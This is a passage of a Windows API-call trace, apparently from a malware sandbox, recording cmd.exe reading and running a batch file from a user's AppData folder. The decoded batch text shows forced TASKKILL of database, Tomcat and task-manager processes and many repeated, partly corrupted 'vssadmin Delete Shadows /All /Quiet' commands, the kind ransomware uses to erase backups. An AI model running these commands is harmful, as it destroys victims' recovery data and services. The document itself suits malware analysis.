_String2="PATH") returned 4 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0092.422] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0092.423] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0092.423] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.423] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.423] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0092.423] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0092.423] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0092.426] CloseHandle (hObject=0x74) returned 1 [0092.426] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0092.921] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0092.921] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0092.921] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0092.921] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0092.921] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0092.921] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0092.921] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0092.921] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0092.921] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0092.921] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0092.921] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0092.922] SetConsoleInputExeNameW () returned 0x1 [0092.922] GetConsoleOutputCP () returned 0x1b5 [0092.922] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0092.922] SetThreadUILanguage (LangId=0x0) returned 0x409 [0092.922] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0092.922] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0092.922] _get_osfhandle (_FileHandle=3) returned 0x78 [0092.922] SetFilePointer (in: hFile=0x78, lDistanceToMove=1242, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4da [0092.922] _get_osfhandle (_FileHandle=3) returned 0x78 [0092.922] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4da [0092.922] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x196, lpOverlapped=0x0) returned 1 [0092.922] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=406, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 406 [0092.922] _get_osfhandle (_FileHandle=3) returned 0x78 [0092.922] GetFileType (hFile=0x78) returned 0x1 [0092.922] _get_osfhandle (_FileHandle=3) returned 0x78 [0092.922] SetFilePointer (in: hFile=0x78, lDistanceToMove=-357, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x50b [0092.923] _tell (_FileHandle=3) returned 1291 [0092.923] _close (_FileHandle=3) returned 0 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0092.923] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0092.924] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0092.924] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.924] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0092.924] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0092.924] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0092.924] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0092.927] CloseHandle (hObject=0x78) returned 1 [0092.927] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0093.527] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0093.527] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0093.527] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0093.527] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0093.527] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0093.527] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0093.527] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0093.527] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0093.527] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0093.528] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0093.528] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0093.528] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0093.528] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0093.528] SetConsoleInputExeNameW () returned 0x1 [0093.528] GetConsoleOutputCP () returned 0x1b5 [0093.528] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0093.528] SetThreadUILanguage (LangId=0x0) returned 0x409 [0093.528] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0093.529] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0093.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=1291, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x50b [0093.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x50b [0093.529] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x165, lpOverlapped=0x0) returned 1 [0093.529] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=357, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 357 [0093.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.529] GetFileType (hFile=0x74) returned 0x1 [0093.529] _get_osfhandle (_FileHandle=3) returned 0x74 [0093.529] SetFilePointer (in: hFile=0x74, lDistanceToMove=-314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x536 [0093.529] _tell (_FileHandle=3) returned 1334 [0093.529] _close (_FileHandle=3) returned 0 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0093.529] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0093.530] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0093.530] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.531] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0093.531] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0093.531] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0093.531] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0093.535] CloseHandle (hObject=0x74) returned 1 [0093.535] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0093.535] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0093.535] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0094.154] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x1eebe4 | out: lpExitCode=0x1eebe4*=0x80) returned 1 [0094.154] CloseHandle (hObject=0x78) returned 1 [0094.154] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0094.154] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0094.154] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0094.154] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0094.154] FreeEnvironmentStringsW (penv=0x4a67d8) returned 1 [0094.154] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0094.154] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0094.154] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0094.154] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0094.154] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0094.154] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0094.154] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0094.154] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0094.155] SetConsoleInputExeNameW () returned 0x1 [0094.155] GetConsoleOutputCP () returned 0x1b5 [0094.155] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0094.155] SetThreadUILanguage (LangId=0x0) returned 0x409 [0094.155] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0094.155] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0094.155] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.155] SetFilePointer (in: hFile=0x78, lDistanceToMove=1334, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x536 [0094.155] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.155] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x536 [0094.155] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x13a, lpOverlapped=0x0) returned 1 [0094.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=314, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 314 [0094.155] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.155] GetFileType (hFile=0x78) returned 0x1 [0094.155] _get_osfhandle (_FileHandle=3) returned 0x78 [0094.156] SetFilePointer (in: hFile=0x78, lDistanceToMove=-269, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x563 [0094.156] _tell (_FileHandle=3) returned 1379 [0094.156] _close (_FileHandle=3) returned 0 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0094.156] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 